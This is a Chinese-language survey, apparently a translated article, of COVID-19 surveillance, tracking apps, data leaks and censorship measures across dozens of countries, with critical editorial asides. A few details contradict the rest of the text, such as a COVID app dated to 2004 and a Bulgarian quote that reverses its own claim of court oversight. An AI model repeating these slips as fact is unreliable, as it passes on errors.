根据要求，在全国拥有600万用户的沃达丰澳大利亚公司将数百万澳大利亚人的手机位置数据移交给了联邦政府和新南威尔士州政府，以帮助他们监控人们是否遵守社会疏散限制。

政府、医学专家和媒体以前曾使用过由诸如 CityMapper 之类的运输应用程序收集的数据，但使用该应用程序的人数必然受到限制。

沃达丰声称“数据是匿名的”，并在共享之前汇总。政府表示，这些数据将不会用于检查个人的动向。Optus 和 Telstra 没有透露他们是否也提供了订户的位置数据。

西澳大利亚州警察部队正在使用无人机发出语音警告，以加强对某些人的隔离规定，并派出200多名警察在街上巡逻，以驱散聚会，并在公园、海滩和咖啡馆内强制进行社交疏散。这点很中国很像。

甚至，警察被赋予了更大的权力，可以对违反规定的任何人进行起诉；宣布此事之前，有两名男子被被指控从海外返回后违反了强制性的自我隔离法。

A Z 阿塞拜疆

以防疫为借口惩治异议的行为非常严重。

自从政府为减缓COVID-19的蔓延而实行封锁以来，当局已判处至少6名活动家和一名支持反对派的记者10至30天的拘留，罪名包括 “违反封锁规则或不服从警察命令”。

几乎所有被捕的人都曾经批评过政府管理的检疫中心的条件不佳或政府对因疫情而陷入经济困境的人提供的补偿不足。

4月5日，阿塞拜疆加强了检疫制度，要求65岁以下的居民在离开家之前必须先通过短信收到许可。

仅允许以下这些原因出门：去看医生，去药房，商店，银行或邮局，或参加亲戚的葬礼。

短信是免费的；⚠但它必须包含居民的个人ID号以及他们离开家的原因。

许可证授予两个小时的窗口，居民每天只能有一次申请；如果居民提供的信息不正确，就可以直接被拒绝。

65岁以上的居民不得离开居住城市，一些州机构的雇员以及私人法人实体和外交官可豁免。

阿塞拜疆的手机覆盖范围通常不错，但在某些情况下，电话号码因欠费而被冻结。还存在伪造许可证和欺诈性销售的案例，批评者对缺乏个人信息保护措施深表担心。

「图」

「图」

香港

香港卫生署已要求警方部署其计算机化的重大事件调查和灾难支援系

统，以追踪被新型冠状病毒感染的患者的接触情况。

该系统是在2003年SARS流行期间使用的，当时一名48岁的警务人员被验出呈阳性反应后，59名警务人员被隔离。

香港向接受强制性家庭隔离的人员发放"电子跟踪器腕"带，以确保他们不会外出。

腕带配有智能手机应用程序，⚠该应用程序通过微信和**WhatsApp**等消息传递平台与政府共享位置。在到达他们被隔离的地方后，用户会被要求沿边缘走一圈，以便该技术可以跟踪他们所处的空间。

在大流行期间，用于确保人们不会破坏其检疫的技术，例如香港的电子监控手环，可能看起来很合理，但是，⚠如果广泛部署并用于识别参加反政府抗议活动的人，显然会非常危险。

这同样适用于各种紧急立法，例如英国政府通过的紧急立法，授予政府特别的新权力以关闭机场并禁止聚会。

⚠ 历史提供了例子：旨在处理1939年IRA的 “临时措施” 在此后数十年里一直保留在法规中。

台湾

在2003年 SARS 疫情的经验基础上，台湾在中国大陆首次出现疫情消息后，立即采取了多项措施进行应对，包括利用国家保险数据、出入境和海关数据、根据旅行史和症状实时提醒、二维码扫描、主动寻找患有严重呼吸道症状且流感检测阴性的患者。

英国广播公司的一篇文章捕捉到一位在台湾被隔离的学生的故事，报道称，⚠当他的手机没电了，一个小时内，当地4个不同的行政单位与他取得联系；并派出巡逻队核实他的位置；还发来短信说政府失去了对他的追踪，并警告他可能因违反隔离而被捕。

据报道，台湾利用手机信号对被隔离者（包括旅客）进行三角定位；如果手机关机超过**15**分钟，就会向当局发出警报；每天最多两次与民众联系，检查他们的手机是否在手边。

S G 新加坡

经过八周的开发，由政府技术局与卫生部合作的新加坡应用程序

TraceTogether 于3月20日启动。

拥有新加坡手机号码和具有蓝牙功能的智能手机的任何人都可以下载该应用程序，⚠该应用程序要求用户打开蓝牙和位置服务，并启用推送通知。

该应用程序通过在手机之间交换短距离蓝牙信号来检测彼此相距两米以内或五米以内持续30分钟的所有人。

该应用旨在促进现有的联系人追踪工作并填补个人的记忆空白。用户必须明确同意才能参与，并且可以随时撤回同意。

新加坡卫生部将有关受害者的信息被公开后，开发人员将这些信息转变为交互式地图。该地图于3月18日终止，因为案件数量超过了开发商的极限。

新加坡的侦探们使用闭路电视监视录像来查找6000多人的联系人。新加坡还与需要每天多次与被隔离的个人取得联系，并要求他们提供其所在位置的照片证明。

违法隔离检疫措施者会招致重罚，包括监禁，并有至少一次剥夺了其居留权。

⚠ 新加坡还迅速发布了患者在线生活和工作地点的详细信息，以便其他人可以保护自己。

「图」

「图」

A R 阿根廷

一个阿根廷的众包网站正在收集有关乘客的航班信息，这些乘客的COVID-19测试呈阳性。

要求用户输入电子邮件地址、日期、航空公司和航班号，并在方框中打勾以表明其航班上的某人已被感染。

没有提供有关谁经营该网站的信息，但条款和条件表明该网站与收集的数据一起使用开放数据流。

阿根廷的一群独立开发人员启动了 CoTrack，这是一种公开众包工

作，旨在开发可跟踪和减慢病毒传播速度的应用程序。

CoTrack 会记录每个用户的地理运动，并寻找他们与被诊断出COVID-19的人接近的时间。

确认情况后，拥有该应用程序的用户就可以与社区共享其数据，以便可以自动通知其他人应采取的预防措施。

该地区的卫生部也可以提交信息。团队考虑了隐私保护措施：仅在智能手机中本地存储GPS数据，而不需要注册（无需姓名、电子邮件等）。

但是，该应用程序在获得“事先授权和官方验证”后，"确实在线存储"了受感染个体的**GPS**信息。

当局发布的自测网络应用，要求提交测试时必须填写国民身份证号、电子邮件和电话号码。⚠安卓版需要众多权限：日历、联系人、地理位置数据（包括基于网络和**GPS**）、麦克风、摄像头、全网访问；并且更改音频设置、开运行；覆盖其他**APP**，防止设备休眠。

阿根廷检察官办公室开始在那些违反政府命令的人的智能手机上强制安装应用程序。

该应用程序将由该省的刑事调查局安装，以跟踪那些因违反隔离规定而受到刑事调查的人。

该应用程序会将报告发送到MPA调查办公室，并由总检察长办公室协调。目标个人将被要求签署一份文件，确认他们已被告知，躲避检疫将使他们被判处六个月至两年的徒刑，如果个人删除或卸载该应用程序或阻止其运行，该法律也将适用。

3月23日，阿根廷移民局 DireccIónNacional de Migraciones（DNM）宣布，抵达该国的任何人"都必须在其手机上安装"**COVID-19**卫生部应用程序，以确保他们遵守检疫规定。

参谋长办公室已指示DNM在3月23日启动该应用程序时也要采用此政策。自启动以来，该应用程序所请求的不必要权限的数量已减少。

由 Adrómeda 公司与马德普拉塔信息和通信技术协会（ATICMA）以及阿根廷软件和计算机服务公司协会（CESSI）合作开发的免费应用程序 Testeate，于2004年启动。目的是通过在任何城市和社区提供不断更新的信息，以及跟踪个人检疫和附近其他人的检疫，以实现阿根

廷国家卫生部与居民之间的直接信息交换。

用户可以通过电子邮件地址或 Facebook 登录名访问该应用程序。该公司声称该模型可以在世界任何地方复制。

总部位于旧金山的大数据公司 Grandata 创建了一个热图，以显示阿根廷的哪些区域最适合作为隔离禁区。

Grandata 使用了从应用程序收集的数据集，这些应用程序为第三方提供了地理位置信息。

该热图显示了一个人是否已离开其大部分时间所在的地方100多米远，显然没有考虑到不同城市的社会经济背景，在某些城市中，个人可能需要离家数公里才能获得食物和基本生活服务。

此外，他们使用的数据可能是用户可能不知道自己正在与 Grandata 等第三方共享的。尽管用户“同意”与他们使用的应用共享数据，他们通常也不会同意 Grandata 为此目的重复使用。Grandata打算将该技术开源。

阿根廷公司 Urbetrack 正在开发“在家照顾自己”（Cuidate en casa）应用程序，该应用程序将投放到全国各地的政府机构。

目标是帮助执行隔离。计划是用户将下载该应用程序，并填写具有当地主管部门选择的个人详细信息的表格。

然后，该应用程序将生成由地方当局定义的“地理围栏”，用户必须停留在该范围内。

如果用户违反隔离规定，则该应用会在用户离开家且不尊重隔离时提醒用户，并向该地区相应的政府机构发出通知。该应用程序尚未公开发布。

言论审查也是很突出的。前老大哥真人秀电视明星 Matías Schrank 在发布推文称米西奥内斯立法机关主管 Eduardo Rovira 在他最近去泰国旅行时感染了COVID-19之后，被米西奥内斯省警察的网络犯罪部门逮捕。

而 Rovira 并没有立即进入隔离区，而是继续与其他高级政府官员举行会议。Schrank 却被根据《条款》起诉。《刑法》第211条，“因散布公众恐惧或煽动骚乱而被判处**2**至**6**年徒刑”。

「图」

「图」

I D 印尼

3月26日，印度尼西亚通信和信息学部长 Johnny G.Plate 发布了第159/2000 号部长法令，以促进政府与电信公司之间在开发一个名为TraceTogether 的跟踪应用程序中的合作。

该应用程序从受感染的人那里收集14天的手机位置数据，然后将其与电信公司收集的位置数据进行匹配，后者可以精确定位患者附近的人并向他们发送警告。

印尼医生协会已要求政府公开对新型冠状病毒检测呈阳性的患者的身份，以促进接触者追踪并提高预防进一步传播的效率，并指出在这种“紧急情况”下，“公众将为了安全起见，支持披露”。人民被代表了。

歧视问题也非常严重。在宣布检测结果呈阳性后不久，印尼头两例确诊的COVID-19病例及其邻居就成为了媒体报道和社交媒体谩骂的对象，他们的个人信息被通过 WhatsApp 和其他社交媒体传播。而卫生部否认对数据泄露事件负责。

M K 马其顿

马其顿是西巴尔干地区第一个推出联系人追踪应用程序的国家。

政府强调，基于蓝牙的应用程序 StopKorona “符合所有法律隐私要求”。该应用程序遵循分散式设计，因此用户可以完全控制自己的数据，该数据在14天后会被删除；如果某人的病毒测试呈阳性，则可以选择将其位置记录发送给卫生部，以便可以通知其所有联系人。

该应用程序是由总部位于斯科普里的软件公司 Nextsense 开发并捐赠给马其顿当局的，该公司称该应用程序在第一天被下载了5000次以上。

V E 委内瑞拉

委内瑞拉政府通过发放许可证，一次只能允许一名家庭成员出门，而且中午之前就要回来，并设置了40个检查站，从而加强了加拉加斯的检疫执法。

委内瑞拉最贫困的居民有40万人，许多居民在巴里奥（barrio）不得不违反法规。居民报告说，许多家庭在持续数周的时间里没有自来水可用，也没有收到政府发放的食物。

P H 菲律宾

菲律宾官员对违反禁闭规定的人进行羞辱和辱骂性惩罚，将他们关在狭窄的狗笼子里，或强迫他们坐在外面的正午阳光下。

这与中国的策略类似，在中国，当局被拍到将违规者绑在柱子上，并对他们进行斥责，而印度的录像显示，警察在殴打据称的违规者，同时强迫他们在街上做俯卧撑。

在报道的事件中，马尼拉以南约55英里处的圣克鲁斯市的一名当地官员将包括两名儿童在内的**5**人锁在一个狗笼子里，威胁要射杀他们，然后将他们的照片和部分道歉贴到 **Facebook** 上。

杜特尔特已经免除了调查队和全国身份证系统登记员的锁定规则，理由是他们“对提供现金分配和其他政府应对措施至关重要”，目的是减轻社区隔离的影响。

杜特尔特认为，政府援助低收入家庭的方案被承认的延误来自于依赖2015年人口普查造成的受益人名单的不一致，而2018年8月签署成为法律的国家身份识别系统的实施将解决这些问题。简单说就是，“用监视解决问题”。

「图」

「图」

T H 泰国

泰国国家广播电视委员会（NBTC）向所有从被指定为COVID-19感染“高风险”国家（当时在中国、香港、韩国、意大利和澳门）旅行的外国人和泰国人提供了SIM卡。

根据NBTC秘书长 Thakorn Tanthasit 的说法，AoT Airports 的新应用程序在开始的五天内下载了7,000多次。

该 sim卡将与 AoT Airports 应用程序一起使用，以帮助跟踪用户的位置14天，以验证他们是否仍在隔离中。

该应用程序将跟踪手机的位置位置14天，并在离开指定的隔离区时通知当局。14天后，它将停止跟踪，并且系统将立即删除数据。

泰国科技创业协会、疾病控制部（公共卫生部）、数字经济促进局（数字经济和社会部）和国家创新局开发了一个APP上的问卷调查表，正如泰国科技创业协会所建议的那样，该问卷调查表是为供人们自我评估是否处于高危状态。

该问卷问了很多问题，涉及到症状和旅行史，以及姓名、家人的名字、公民身份证（在受到广泛的批评后，不再强制要求填写）、性别（男性/女性/未注明）、出生日期（日期、月份、年份）、职业（学生/私人部门员工/公务员/企业主/其他）和电话号码。

该应用的开发者泰国科技创业协会表示，所提供的信息只会在用户处于高危状态时才会被告知医疗团队，以便联系回用户。

意大利

意大利创新部的一个工作组与帕维亚大学合作，利用大数据技术来应对COVID-19，在世卫组织建议各国政府仅靠封锁是不够的，测试、隔离和联系人追踪是关键之后。

这项工作从 **Facebook** 提供的数据开始；包括 Tim、Vodafone、Wind Tre 和 FastWeb 在内的意大利电信公司也通过其 **Asstel** 行业协会提供了汇总用户的移动数据集，以帮助进行联系人追踪或其他形式的监控。

据 Wired 所能确定的，该计划聚集了健康研究人员和非营利组织手中的所有数据，这些组织与 Facebook 在意大利签署了授权协议。

Facebook 的数据集还包括了3月7日晚总理 Giuseppe Conte 宣布伦巴第省和其他14个省将关闭的时候，从北向南的流动信息。

意大利隐私协会主席 Luca Bolognini 表示担忧，虽然EDPB已经确认GDPR允许在公共紧急事件发生时放宽规则，但是，并没有授权自动控制系统，没有要求在紧急事件结束时触发恢复通常的保护措施并销毁收集到的信息。

伦巴第大区利用手机数据核实设备持有者的行动，从2月20日发现第一例 COVID-19 病例到3月10日，该区200万居民的移动量下降了近60%。

伦巴第大区还利用从电信公司获得的手机数据，并将这些数据转给ISI基金会进行公共影响研究项目，以监测该地区有多少人在流动。

因为隐私法的原因，该系统并不对个人手机进行监控，而是考虑到工作和健康需求等允许的出行，计算出整体的移动量。3月9日，全国被锁定。

P E 秘鲁

秘鲁"已暂停"宪法规定的权利，例如迁徙和集会自由权，尽管政府保证超市、药房、银行、基本服务和商品运输的运作。

3月17日，秘鲁政府在宣布进入紧急状态，命令所有人留在家中后，开始要求对街头行动进行特别授权。

属于最高法令第4条规定的类别的工人必须通过政府网站获得授权。审批过程需要与其他个人数据库进行交叉比对，以检查每个申请的准确性和有效性。

3月19日开始，秘鲁政府规定每天晚上8时至凌晨5时实行宵禁，除提供基本服务的人员外，其他人员都必须遵守。

印刷和广播媒体的成员必须携带特别通行证、胸卡和身份证，需要紧急医疗服务的人员可以出行。

除上述群体外，公民个人在任何时候都不得再驾驶自己的汽车。由公安、武警部队依法执行。

3月20日，秘鲁政府推出了一个网站，公民可以在其中检索COVID-19 的测试结果。⚠该网站仅要求患者填写其国民身份证号码和简单的验证码，从而使未授权方可以轻松获取他人的结果，并使人们面临被剥削和歧视的风险。

根据一项新的协议，抵达豪尔赫-查韦斯国际机场或乘船抵达卡洛港的所有国际旅客，如果他们从有确诊病例的地方抵达，即使本人没有症状，也会被转给医务人员。

途中出现症状的乘客会被转到隔离区，在那里接受治疗。同时要求旅客提供个人信息，以便在接下来的日子里对他们进行调查。

4月2日，秘鲁总统马丁·维兹卡拉（MartínVizcarra）提出了一项有争议的规则，规定男女必须在不同的日子进行隔离：男人可以在星期

一，星期三和星期五离开家，而女人只能在星期二，星期四和星期六离开。周日不允许任何人外出。

一些批评家担心，该计划将导致对 LGBTQ ＋人的骚扰，因为警察被指示基于性别表现制止人们出行。

总统解释说，这样做的目的是确保任何时候在大街上的人数减少，并使安全部队更容易执行检疫规定。

目前唯一采用这种方法的国家是巴拿马。

「图」

「图」

K E 肯尼亚

为了执行强制性的14天检疫命令，肯尼亚当局一直在追踪涉嫌携带COVID-19的人的手机。

同样在肯尼亚，警察的行为已经导致多人死亡：三人被殴打受伤，一名十三岁的男孩被子弹击中。

A F 阿富汗

阿富汗公共卫生部和电信与信息技术部已启动 “corona.asan.gov.af” 软件，以三种语言显示，英语、达里语和普什图语，提供健康建议；使用软件中嵌入的问题，用户可以评估自己的健康状态。

U G 乌干达

以防疫为借口暴力侵犯人权。

10名乌干达警察在该国北部城镇 Elegu 对38名妇女施以酷刑，并强迫她们在泥浆中游泳。

警方还突袭了一个收容无家可归的男女同性恋、双性恋和变性青年的收容所，逮捕了23人，指控他们不服从命令没有留在收容所内，并指控他们有可能传播感染或疾病的过失行为。

言论审查也非常突出。乌干达通讯委员会3月22日宣布，它将严厉打

击通过社交媒体传播假视频和有关新型冠状病毒的错误信息的人，并指出，根据《计算机滥用法》、《数据保护和隐私法》以及其他刑法，这种行为是非法的。

UCC 继续在公共通知中警告说，它将逮捕和起诉违反者。

K H 柬埔寨

作为新的紧急状态法的一部分，柬埔寨国民议会授予该国领导人洪森以新的权力，监视电信、控制新闻媒体和社交媒体，限制人员流动和集会自由，扣押私人财产并执行检疫命令，以及颁布 “认为适当和必要的” 其他任何措施。

大赦国际称该立法集中了不受限制的权力。

T Z 坦桑尼亚

主要是言论审查。坦桑尼亚通信管理局对三家电视台进行了处罚，因为它们播出了关于政府防治冠状病毒战略的 “误导和不真实 “的内容。

批评者认为，坦桑尼亚通信管理局反对一份批评约翰-马古富利总统说教堂应保持开放的报道，理由是 “冠状病毒无法在教堂中存活”。

N O 挪威

挪威的国家研发公司 Simula 研究实验室与公共卫生研究所合作，正在努力开发技术解决方案，以帮助防治 COVID-19。

在 Github 上发现的、后来被删除的代码包括了研究人员如何根据从网络运营商 **Telenor** 和 **Telia** 等公司获得的地理定位数据，检测到彼此相距**50**米以内的人持续至少**1**分钟的例子。

这些数据通常被用来帮助移动运营商确定覆盖范围内的差距。研究人员希望该系统能显示出政府的措施是否有效，并希望它能为计算需要采取哪些进一步的措施提供投入。

公共卫生学院与挪威公司 Simula 一起开发了一个应用程序，以跟踪用户的地理位置。

该应用程序在后台运行，⚠将收集GPS和蓝牙位置数据并将其存储在

服务器上30天。

如果用户被诊断出感染了病毒，则其位置数据可以用来跟踪与该人密切接触的所有人的手机。

当局将使用此数据仅向选择安装该应用程序并接收通知的电话发送短信。

挪威的联系人追踪应用 “Infection Stop “依靠中央数据库来存储用户的GPS位置，与中国的同类产品一样，可存储**30**天。

开发这款应用的公司 Sumula 称，由于苹果公司的智能手机操作系统iOS系统的技术限制，所以有必要使用这种方法。

Simula 公司拒绝了像新加坡的 TraceTogether 那样使用蓝牙的方法，因为要想在苹果的 iPhone 上工作，该追踪器应用必须位于重要位置才能利用蓝牙将其位置与附近的其他手机联系在一起，每分钟发送一次。苹果在挪威的市场占有率超过50%。

B D 孟加拉

孟加拉国初创公司 Sigmind.ai 开发了名为 WATCHCAM 的大规模监视系统，⚠该系统声称即使佩戴口罩的人也能被识别，准确度为87.3% —— 如果不戴口罩，则识别率为99.4%。

该公司于2019年开始开发该系统是为了提供ATM安全性，但现在将其营销为进行联系人追踪，帮助追踪受感染的人并执行隔离。

E G 埃及

在埃及，任何怀疑自己或他人患有 COVID-19 的人都必须立即将报告给当局。

议会成员 Ahmed Refaat 于4月1日提交了一份提案，要求创建一个应用程序来跟踪这些案例，使人们无需返回测试中心即可获得测试结果。

拟议的应用程序还将提供有关病毒传播以及被感染者的全名和位置的每日更新，以便其他人可以避免密切接触。

Refaat 表示，由于对病毒的捕获并未受到负面关注，因此 “识别患者

没有错”。

KZ 哈萨克斯坦

哈萨克斯坦卫生部要求目前被隔离的8000名左右的哈萨克斯坦公民使用 SmartAstana 追踪应用程序，该应用程序可使官员们确保目标人处于隔离状态。

相比之下，阿拉木图市的内务部则依靠当地电信公司 Korkem Telecom 生产的名为 Sergek 的视频监控技术来寻找突破隔离的人。

到目前为止，这两个技术是政府利用新的监控手段作为防疫工具的唯一例子。

虽然这些工具是在更多的传统努力失败后才部署的，但是，技术驱动的应对大流行病的措施将影响塑造哈萨克斯坦更广泛的长期数字化议程。

哈萨克斯坦城市阿斯塔纳（Astana）和阿拉木图（Almaty）的当局要求那些被强制隔离的人安装 Smart Astana 应用并启用地理位置设置、WiFi和蓝牙，以便对其进行监控并确保其距离指定地点不超过30米位置。

如果此人的电话在四个小时内都处于非活动状态，或者如果卫生部被告知其移动距离过长，则会收到视频通话，询问原因。

Smart Astana 应用程序还将允许居民使用一些公共服务。

ZA 南非

南非通信部长 Stella Ndabeni-Abrahams 表示，该国的电信运营商已同意提供位置数据，以识别特定地区有多少人被感染。

在大流行危机状态下，政府已经拥有了广泛的权力。

南非国家传染病研究所和科学与工业研究委员会将与 Telkom 和 Samsung 合作，创建专门针对南非情况的跟踪系统，其中包括高度的经济不平等，贫困和人满为患问题。

该系统将整理诸如 GIS 之类的数据源，以跟踪可能被感染的任何人以及可能暴露于病毒区域的人。

在某些社区中，卫生部将使用追踪器来追踪主要联系人，并确保使用1500台 Telkom 和 Samsung 将在全国范围内进行测试。

该消息发布之前，通信和数字技术部长发布了新法规，该法规要求网络运营商上交汇总的位置数据，以显示人口的活动方式，但不会暴露个人用户的活动。

此外，政府已对有争议的提案进行了实质性的改写，以追踪人们使用的手机和其他设备来遏制Covid-19。

调查新闻编辑室 AmaBhungane 表示，由通讯部长上周发布的第一个“指示”引起了 “对其模糊性和缺乏隐私保护倾向的严重关注。” 新规定提供了更多的司法监督，限制了联络人追查，并旨在确保在“灾难状态”结束时应急规定失效。

N Z 新西兰

新西兰的封锁程序包括一个系统，允许警察监测所有回国旅客的行踪。

抵达边境后，入境旅客会被要求提供一个手机号码。一旦福利局确保他们有合适的住所，他们就会收到新西兰警方发来的短信，要求他们同意进行追踪；如果他们同意，他们就必须打开定位服务，以便警方监测他们是否遵守检疫规定。

根据《隐私法》的规定，同意是必须的，但是警方指出，即便个人拒绝，依旧可以通过电话和随机访问的方式对他们进行监控。卫生部称该系统是一种 “高信任度的安排”。

「图」

「图」

I S 冰岛

4月1日，冰岛启动了一个应用程序，该应用程序使用**GPS**来定位可能与确诊的COVID-19患者保持密切联系的人员。

包含该应用程序下载链接的消息将发送给所有冰岛人；下载它然后同意透露**GPS**数据都是自愿的，但要使其正常工作，必须选择**60**%。

该应用程序将注册附近所有的手机，这样，如果一个人被感染，当局将拥有准确的与他们接触的每个人的时间和持续时间的记录，并且可以向可能暴露于其中的人发送警报，以命令他们进行隔离。

这个想法在新加坡率先提出，其他国家也在开发类似的应用程序。人类的判断仍将在这些决策中发挥关键作用。

JM牙买加

总理安德鲁-霍尔内斯告诉众议院，强制性的国家生物识别身份证系统将 “大大有助于 “打击 Covid-19 的努力。

⚠ 这套名为 NIDS 的国家身份识别系统将要求每个人都要进行登记，并与个人独特的生物识别特征挂钩。

该系统一直备受争议，去年在牙买加最高法院遭到了反对派领 Julian Robinson 的质疑，最高法院裁定该系统侵犯了隐私权，违宪。

“现在是我们真正需要修改制度的时候了，我们将在法律和宪法的范围内尽快采取行动，确保牙买加的每一个公民都有一个唯一的身份标识。” 霍尔尼斯总理说。再一次，利用危机扩大权力。

牙买加政府正在快速建立和实施国家身份证系统，并给每个牙买加公民一个唯一的标识。

⚠ 政府希望该系统与印度臭名昭著的 Aadhaar 等其他系统相似，并整合指纹或视网膜的生物特征扫描。认为，该系统还可以帮助使一些不太正规的行业正规化，例如出租车司机和调酒师。

PA巴拿马

由于尽管3月25日发布了封锁令，仍有许多人在街上游荡，所以巴拿马通过从4月1日至4月12日实施基于性别的出行时间表，扩大了社会隔离措施：男子可能在周一，周三和星期五离开家获得必需品，而女性在星期二，星期四和星期六出门。

星期日和每一天的下午5点至凌晨5点之间不允许任何人出门。在发布新命令的前一周，有2000多人因违反规则而被捕。

MX墨西哥

作为墨西哥城3月31日封锁的一部分，除了与卫生、食品和基本服务有关的商店外，所有商店都将被关闭，电话公司将提供手机天线的访问权限，以便当局能够监测到任何移动和个人联系。这些信息将进行汇总，并进行分析。

⚠墨西哥城政府开发的用于筛选COVID-19案例的Web表单收集了各种个人信息，例如姓名，年龄，电话号码，家庭住址，社交网络用户名和手机号码。隐私声明中明确表示，此类数据可能会传输到大量司法和行政联邦及地方当局。

在南部莫雷洛斯州的 Jojutla，"政府正在使用无人机进行监视"。通常无人机会用于维稳任务，例如减少凶杀，监视在公园和广场进行的集会，并告诉人们回家，同时分发手消毒剂。

H R 克罗地亚

克罗地亚政府打算通过专用的应用程序、短信警报或电信公司提供的位置数据来强制执行各种隔离命令。

但是，政府的目标是仅针对那些被命令隔离的人，并仅追踪其当前位置，而不是追踪他们的活动（这是前南斯拉夫时代以来的敏感问题），并且仅在有条件的情况下采取这些措施，才能遵守GDPR，否则不可能保护公民的健康和安全。

实施该提案将需要议会以三分之二多数投票通过克罗地亚的《电信法》修订。该国的每日新闻发布会包括对隔离区人数的统计；该数字通常接近三位数。

T N 突尼斯

突尼斯当局已将遥控机器人送上街头，以实施该国的封锁。社交媒体上分享的视频显示，机器人向该国首都突尼斯街头的人发起了询问，询问他们是否了解规则并询问其去向。

由 Enovaro Robotics 制造的被称为 “P-Guard” 的机器人配备了红外和热像仪以及激光遥测系统。

A M 亚美尼亚

亚美尼亚国民议会正在考虑通过手机位置数据确定感染 Covid-19 的

人的所有联系人。

该草案由政府提出。如果获得批准，则公共电子通信网络的运营商将有义务向当局提供任何客户的位置和电话的信息。

亚美尼亚高科技产业部长 Hakob Arshakyan 召集了一个由IT和AI专家组成的研究小组，以收集和分析有关冠状病毒传播的数据，并将其与国际合作伙伴收集的数据进行比较，并进行预测。

部长认为，“研究小组的工作将有助于提供准确可靠的信息，从而有助于协调和管理遏制工作”。

截至3月19日，亚美尼亚已确认122例病例，主要是埃奇米津居民和在埃里温工厂与感染者接触的人。

欧洲委员会的四名成员 —— 罗马尼亚、拉脱维亚、摩尔多瓦和亚美尼亚 —— 激活了《欧洲人权公约》第15条，该条允许在公共紧急情况下减损；允许会员国在不违反其他义务的情况下采取情势所要求的措施，义务例如禁止酷刑和奴役并保护生命权的条款。

C Y 塞浦路斯

塞浦路斯卫生部长 Constantinos Ioannou 规定，从3月31日起每晚每晚9点至凌晨6点实施宵禁，除基本工人外，所有人均必须携带其雇主签署的确认书；那些不遵守的人将被处以300欧元的罚款，是先前罚款的两倍。

个人每天只能离开家一次，并且只能在将短信发送给8998之后再离开家（65岁以上的人可以使用打印的表格）。

警察和社区监视小组将进行抽样检查。部长正在考虑对诊断为COVID-19并下令自我隔离的人进行更严格的控制，例如电子监视。

H U 匈牙利

借助疫情扩张权力。匈牙利政府于3月30日通过了一项法律，授予总理 Viktor Orbán 无限期法令的权力，他说这对应对冠状病毒危机“至关重要”。

言论审查也非常明显。该法律包含一项规定，根据这些规定，被认为散布有关大流行病的所虚假信息的人将被判处最高五年徒刑。

批评者称这一捣毁民主的立法是在经过多年重组后许多人对该国的医疗服务感到担忧之时提出的。

匈牙利政府正试图无限期延长因冠状病毒流行而宣布的"紧急状态"。延长期限于3月23日在匈牙利议会中进行了辩论，⚠ 只要政府认为有必要，只要在任何情况下都拥有三分之二多数支持，政府便可以不经议会批准而通过法令进行统治。

对于那些被指控传播有关该流行病的所谓错误信息的人，将被判处最长五年徒刑；对于那些被认为 “妨碍防疫”的人，最长为八年。立法者甚至没有阻止该提议。

P K 巴基斯坦

巴基斯坦俾路支地区奎达和塔夫坦两市冠状病毒检测患者的完"整数据的 Excel 文件"在 **WhatsApp** 群里流传。

⚠该文件包含了患者的姓名、电话号码、年龄地址和其他身份信息等信息。

这些泄露的数据使患者即使在康复后也面临着人身伤害和社会污名的风险。

俾路支省政府官员说，数据泄露是因为卫生总局、首席部长秘书处、服务部、总务部等各种委员会和政府COVID-19小组 “需要” 定期接收这些数据。

一位卫生部门的官员反对说，这些部门确实只需要病人的数量和地点即可，其他信息完全是多余的。

在巴基斯坦居民质疑通过短信发送的名为 “CoronaALERT ”的信息是否合法后，电信当局证实，这是应卫生部的要求，向选定的个人发送的真实信息。选择这些人是因为他们可能在旅行期间或在特定地点接触过受感染者。

然而，仍然不清楚选择所谓的高危个人的标准是什么，特别是在一些家庭中只有一名成员得到通知。

也不清楚这些数据将存储在哪里，或者如何识别病例；不过，旁遮普省首席部长的数字媒体协调人在推特上说，政府正在使用通话详细记录来追踪联系人。

在新加坡，TraceTogether 应用程序是使用手机之间的蓝牙信号来帮助追踪联系人的。

巴基斯坦信德省政府的一项题为 “COVID-19贫困人口移动登记系统” 的官方指令介绍了其利用多个数据库，通过综合联邦税务局的纳税人数据、联邦调查局的旅行记录和巴基斯坦国家银行的财务信息，确定需要福利资金的人，并向他们发放现金。

受助人需要通过服务提供者Jazz建立手机账户，才能获得资金。

巴基斯坦的移动电话用户发现，尽管存在有关是否违反该国宪法的法律问题，但是，政府未经其同意就已经开始访问公民移动电话的位置和通话记录。

用户报告说检测到COVID-19呈阳性的患者返回家园后，政府向他们的一些朋友、家人和邻居发送了短信 “Karuna Alert” 消息；巴基斯坦电信管理局在调查患者的旅行和联系历史后，确认已使用患者注册的手机号码发送了该消息。

「图」

「图」

R S 塞尔维亚

已有 71000 多名塞尔维亚公民（主要是从德国、奥地利、意大利和法国）返回该国的人，政府已引入各种制度，以确保他们遵守该国的自我隔离规则。

政府监控电话号码，尤其是意大利的电话号码，并特别注意那些有大量 “外来人口” 涌入的社区。

U Z 乌兹别克斯坦

主要是阻断信息权。

用户报告说，乌兹别克斯坦当局没收了被隔离人员的手机、音频/视频设备、银行卡和其他所有存储媒体，声称此举对于限制恐惧和虚假信息的传播是 “必要的“。

M E 黑山

黑山共和国当局在政府网站上公布了从国外返回家园后处于强制性自我隔离状态的个人名单。

名单由市政府收集，包括全名、出行日期和家乡。在发现某些人违反了隔离规定后，政府做出了此决定，理由是他们使其余人口处于危险之中。

民间联盟已要求宪法法院审查此举是否符合宪法和法律，并要求暂时中止。

黑山的前两名确诊的COVID-19患者的身份由社交媒体用户发布，⚠包括其中一名患者及其家人的照片，并由于其种族和宗教信仰导致在线虐待。

M D 摩尔多瓦

摩尔多瓦宣布将使用面部识别技术来识别被隔离人员。

MIAT 在新闻稿中强调了一个26岁公民的案件，该公民被面部识别系统捕获，并因逃避检疫被捕。现在，他在该市的一个临时中心面临罚款或拘留。

B G 保加利亚

⚠保加利亚警察已被授权从电话和互联网运营商保存的公民私人通信中请求并获取元数据。

据报道，这些权力将被用来监视那些被强制隔离的人，并将使警察能够追踪他们的动向，并 “监视他们与谁交谈以及访问过哪些地点”。

内政部长 Mladen Marinov 在公共电视平台全民投票中表示，“新法规仅适用于强制隔离的人，程序将继续受到法院的监督。警察对公民电话和互联网数据的访问将不受控制”。

C H 瑞士

根据 Le Temps 收集的信息，当在100平方米的区域内检测到20多个电话时，瑞士电信将使用**SIM**卡地理位置数据联系联邦当局。自3月21日以来，瑞士禁止聚会5人以上。

从理论上讲，电信公司收集的数据应仅来自公共区域，而不应来自私

人建筑。

该数据汇总，然后在接下来的24小时内传递给卫生当局。

根据 Swisscom 的说法，这种数据共享的目的不是跟踪或识别个人，而是监视聚会。

